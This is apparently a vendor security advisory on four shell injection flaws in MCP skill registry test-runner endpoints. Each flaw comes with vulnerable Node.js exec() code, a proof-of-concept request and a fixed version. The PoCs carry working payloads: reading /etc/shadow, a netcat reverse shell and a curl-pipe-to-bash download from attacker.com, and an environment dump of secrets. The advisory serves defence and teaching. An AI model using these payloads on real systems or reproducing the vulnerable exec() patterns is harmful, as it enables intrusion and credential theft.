← Blog

Claude MCP skill code injection — skill testing and linting validation pipeline endpoints (SA-SKL-INJECTION59)

SA-SKL-INJECTION59 identifies four shell injection vulnerabilities in MCP skill registry testing and linting validation pipeline endpoints. User-supplied test pattern strings are interpolated directly into exec() calls invoking jest, mocha, vitest, and c8, enabling semicolon-delimited command injection that exfiltrates credentials, establishes reverse shells, dumps environment variables, and loads attacker-controlled instrumentation modules.

SA-SKL-INJECTION59 findings at a glance
CRITICALINJECTION59-001 — exec(`jest --testPathPattern ${testPattern} --config ${jestConfig}`); attacker testPattern containing ; cat /etc/shadow exfiltrates password hashes via test output returned in API response
CRITICALINJECTION59-002 — exec(`mocha ${testFile} --reporter ${reporterPath}`); attacker reporterPath containing ; nc attacker.com 4444 -e /bin/sh establishes reverse shell on the test worker host
CRITICALINJECTION59-003 — exec(`vitest run ${testDir}`); attacker testDir containing ; printenv exfiltrates all environment variables including CI tokens, API keys, and database credentials
HIGHINJECTION59-004 — exec(`c8 ${coverageTool} --config ${c8Config}`); attacker c8Config with space-injected --include /tmp/attacker.js loads attacker-controlled instrumentation file from /tmp

INJECTION59-001 — jest testPattern shell injection exfiltrates credential files

The test suite execution endpoint accepts a testPattern parameter and passes it directly to exec() as part of a jest command string. The pattern is intended to match test file names or test name patterns using jest's --testPathPattern flag. Because the value is interpolated into a template literal that is passed to child_process.exec(), any shell metacharacters in testPattern are interpreted by /bin/sh. A semicolon followed by a shell command breaks out of the jest invocation and executes arbitrary commands with the privileges of the test worker process.

The test output is captured and returned in the API response, so stdout from the injected command is exfiltrated through the normal test results channel. An attacker who submits testPattern: "; cat /etc/shadow" receives the shadow password file in the testOutput field of the API response. The test worker process typically runs with the registry service account, which may have access to service credentials stored in environment variables, mounted secrets volumes, or configuration files in the working directory.

Vulnerable
// INJECTION59-001 — VULNERABLE
const { exec } = require('child_process');

router.post('/test/run', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { skillId, testPattern, jestConfig } = req.body;
  // VULNERABLE: testPattern interpolated into shell command string
  const cmd = `jest --testPathPattern ${testPattern} --config ${jestConfig} --json`;
  exec(cmd, { cwd: `/skills/${skillId}` }, (err, stdout, stderr) => {
    res.json({ ok: !err, testOutput: stdout, errorOutput: stderr });
  });
});

Attack PoC — INJECTION59-001: Attacker injects a command that reads /etc/shadow and appends it to the jest JSON output. The shadow file content appears in the testOutput field of the response.

// INJECTION59-001 — ATTACK PoC
const resp = await fetch('https://registry.example.com/api/test/run', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json', Authorization: 'Bearer ' + token },
  body: JSON.stringify({
    skillId: 'owned-skill-id',
    testPattern: '; cat /etc/shadow ; echo ',
    jestConfig: 'jest.config.js',
  }),
});
const { testOutput } = await resp.json();
// testOutput contains shadow file hashes after the broken jest invocation output
Fixed
// INJECTION59-001 — FIXED
const { execFile } = require('child_process');

router.post('/test/run', requireSession, requireOwnership('skillId'), async (req, res) => {
  const parsed = TestRunSchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  const { skillId, testPattern, jestConfig } = parsed.data;

  // FIXED: execFile — args passed as array, never interpreted by shell
  execFile(
    'jest',
    ['--testPathPattern', testPattern, '--config', jestConfig, '--json'],
    { cwd: `/skills/${skillId}`, timeout: 60_000 },
    (err, stdout, stderr) => {
      if (err) return res.status(400).json({ ok: false, error: err.message });
      res.json({ ok: true, testOutput: stdout });
    }
  );
});

INJECTION59-002 — mocha reporterPath injects reverse shell

The mocha-based test runner endpoint accepts a reporterPath parameter that specifies a custom reporter module. The endpoint constructs the mocha command by interpolating reporterPath directly into the exec() call string: exec(`mocha ${testFile} --reporter ${reporterPath}`). An attacker who sets reporterPath to a value containing a semicolon followed by a netcat reverse shell command breaks out of the mocha invocation and establishes an interactive reverse shell on the test worker host.

Unlike INJECTION59-001, which only exfiltrates data through the response, INJECTION59-002 provides an interactive reverse shell that persists for the duration of the netcat connection. This gives the attacker full interactive access to the test worker environment, including the ability to explore the filesystem, access mounted secrets, modify the skill package files in the work directory, and pivot to other network-accessible services. The reverse shell runs as the test worker service account and inherits all its permissions and environment variables.

Vulnerable
// INJECTION59-002 — VULNERABLE
router.post('/test/mocha', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { skillId, testFile, reporterPath } = req.body;
  // VULNERABLE: reporterPath injected into mocha shell command
  const cmd = `mocha ${testFile} --reporter ${reporterPath} --timeout 10000`;
  exec(cmd, { cwd: `/skills/${skillId}` }, (err, stdout, stderr) => {
    res.json({ ok: !err, output: stdout, errors: stderr });
  });
});

Attack PoC — INJECTION59-002: Attacker injects a netcat reverse shell. The registry responds with an empty test output immediately while the reverse shell connects asynchronously to the attacker's listener.

// INJECTION59-002 — ATTACK PoC
// Attacker listener: nc -lvnp 4444 (on attacker.com)
await fetch('https://registry.example.com/api/test/mocha', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json', Authorization: 'Bearer ' + token },
  body: JSON.stringify({
    skillId: 'owned-skill-id',
    testFile: 'test/index.spec.js',
    reporterPath: 'spec ; nc attacker.com 4444 -e /bin/sh & echo ',
  }),
});
Fixed
// INJECTION59-002 — FIXED
const ALLOWED_REPORTERS = new Set(['spec', 'dot', 'tap', 'json', 'min', 'landing']);

router.post('/test/mocha', requireSession, requireOwnership('skillId'), async (req, res) => {
  const parsed = MochaTestSchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  const { skillId, testFile, reporterPath } = parsed.data;

  // FIXED: allowlist reporters; use execFile for array args
  if (!ALLOWED_REPORTERS.has(reporterPath)) {
    return res.status(422).json({ error: 'Reporter not in allowlist' });
  }

  execFile(
    'mocha',
    [testFile, '--reporter', reporterPath, '--timeout', '10000'],
    { cwd: `/skills/${skillId}`, timeout: 30_000 },
    (err, stdout, stderr) => {
      if (err) return res.status(400).json({ ok: false, error: err.message });
      res.json({ ok: true, output: stdout });
    }
  );
});

INJECTION59-003 — vitest testDir shell injection exfiltrates all environment variables

The vitest test runner endpoint accepts a testDir parameter specifying the directory containing tests to run. The endpoint constructs the vitest command by interpolating testDir into an exec() call: exec(`vitest run ${testDir}`). Because testDir is not validated or sanitized, any value containing shell metacharacters executes additional commands. An attacker who submits testDir: "; printenv" captures all environment variables from the test worker process, including CI tokens, database connection strings, API keys stored in environment variables by the deployment configuration, and any secrets mounted as environment variables by Kubernetes secrets.

The environment variable dump is particularly dangerous because test workers in CI/CD pipelines are often granted broad environment access. Secrets required for integration tests, deployment keys, and monitoring credentials are routinely injected into the environment of test worker processes. An attacker who obtains these credentials can pivot beyond the registry to any system that accepts them, turning a vulnerability in the test runner API into a supply-chain compromise of every system in the registry's CI/CD pipeline.

Vulnerable
// INJECTION59-003 — VULNERABLE
router.post('/test/vitest', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { skillId, testDir, vitestConfig } = req.body;
  // VULNERABLE: testDir injected into vitest shell command
  const cmd = `vitest run ${testDir} --config ${vitestConfig}`;
  exec(cmd, { cwd: `/skills/${skillId}` }, (err, stdout, stderr) => {
    res.json({ ok: !err, output: stdout, errors: stderr });
  });
});

Attack PoC — INJECTION59-003: Attacker dumps all environment variables. The printenv output appears in the output field, exposing database credentials, API keys, and CI tokens.

// INJECTION59-003 — ATTACK PoC
const resp = await fetch('https://registry.example.com/api/test/vitest', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json', Authorization: 'Bearer ' + token },
  body: JSON.stringify({
    skillId: 'owned-skill-id',
    testDir: '; printenv ; echo ',
    vitestConfig: 'vitest.config.ts',
  }),
});
const { output } = await resp.json();
// output contains DB_URL, REGISTRY_API_KEY, CI_TOKEN, etc.
Fixed
// INJECTION59-003 — FIXED
router.post('/test/vitest', requireSession, requireOwnership('skillId'), async (req, res) => {
  const parsed = VitestRunSchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  const { skillId, testDir, vitestConfig } = parsed.data;

  // FIXED: execFile with sanitized path args; env stripped to minimal subset
  execFile(
    'npx',
    ['vitest', 'run', testDir, '--config', vitestConfig],
    {
      cwd: `/skills/${skillId}`,
      timeout: 60_000,
      env: { PATH: process.env.PATH, NODE_ENV: 'test' }, // FIXED: no credential env vars
    },
    (err, stdout) => {
      if (err) return res.status(400).json({ ok: false, error: err.message });
      res.json({ ok: true, output: stdout });
    }
  );
});

INJECTION59-004 — c8 coverageTool flag injection loads attacker instrumentation

The coverage instrumentation endpoint accepts a coverageTool parameter specifying the test runner to instrument and a c8Config parameter specifying the c8 configuration file path. Both parameters are interpolated into an exec() call: exec(`c8 ${coverageTool} --config ${c8Config}`). The c8Config parameter is not validated against an allowed path pattern. An attacker who submits a c8Config value containing a space followed by an additional c8 flag (--include /tmp/attacker.js) injects an extra argument into the c8 invocation, causing c8 to include an attacker-controlled JavaScript file in the instrumentation run. If the attacker has previously written a file to /tmp through any file upload mechanism, the included file is executed under c8's instrumentation context.

Vulnerable
// INJECTION59-004 — VULNERABLE
router.post('/test/coverage', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { skillId, coverageTool, c8Config } = req.body;
  // VULNERABLE: c8Config injected — space-delimited flag injection
  const cmd = `c8 ${coverageTool} --config ${c8Config}`;
  exec(cmd, { cwd: `/skills/${skillId}` }, (err, stdout, stderr) => {
    res.json({ ok: !err, coverage: stdout, errors: stderr });
  });
});

Attack PoC — INJECTION59-004: Attacker injects --include flag pointing to a file previously written to /tmp. The file is executed as part of the c8 instrumentation run with the coverage worker's privileges.

// INJECTION59-004 — ATTACK PoC
// Prerequisite: attacker has written /tmp/attacker.js via any file upload endpoint
// /tmp/attacker.js: require('child_process').execSync('curl https://attacker.com/shell | bash');

await fetch('https://registry.example.com/api/test/coverage', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json', Authorization: 'Bearer ' + token },
  body: JSON.stringify({
    skillId: 'owned-skill-id',
    coverageTool: 'jest',
    c8Config: 'c8.config.js --include /tmp/attacker.js',
  }),
});
Fixed
// INJECTION59-004 — FIXED
const ALLOWED_COVERAGE_TOOLS = new Set(['jest', 'mocha', 'vitest', 'tap']);
const SAFE_PATH_RE = /^[a-zA-Z0-9_.\-/]+$/;

router.post('/test/coverage', requireSession, requireOwnership('skillId'), async (req, res) => {
  const parsed = CoverageRunSchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  const { skillId, coverageTool, c8Config } = parsed.data;

  if (!ALLOWED_COVERAGE_TOOLS.has(coverageTool)) {
    return res.status(422).json({ error: 'Coverage tool not in allowlist' });
  }
  if (!SAFE_PATH_RE.test(c8Config)) {
    return res.status(422).json({ error: 'Config path contains invalid characters' });
  }

  // FIXED: execFile — args as array, no shell interpretation
  execFile(
    'c8',
    [coverageTool, '--config', c8Config],
    { cwd: `/skills/${skillId}`, timeout: 90_000 },
    (err, stdout) => {
      if (err) return res.status(400).json({ ok: false, error: err.message });
      res.json({ ok: true, coverage: stdout });
    }
  );
});

SkillAudit detection: The scanner identifies INJECTION59 patterns using four AST query classes: template literal string interpolation into exec( call arguments; child_process.exec calls where any template literal variable originates from req.body, req.query, or req.params; execFile calls that reconstruct a command string before splitting (defeating the array protection); and test runner command strings where user-supplied values appear without allowlist validation. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: SA-SKL-INJECTION58 — Code injection in skill build and compilation pipeline endpoints • All advisories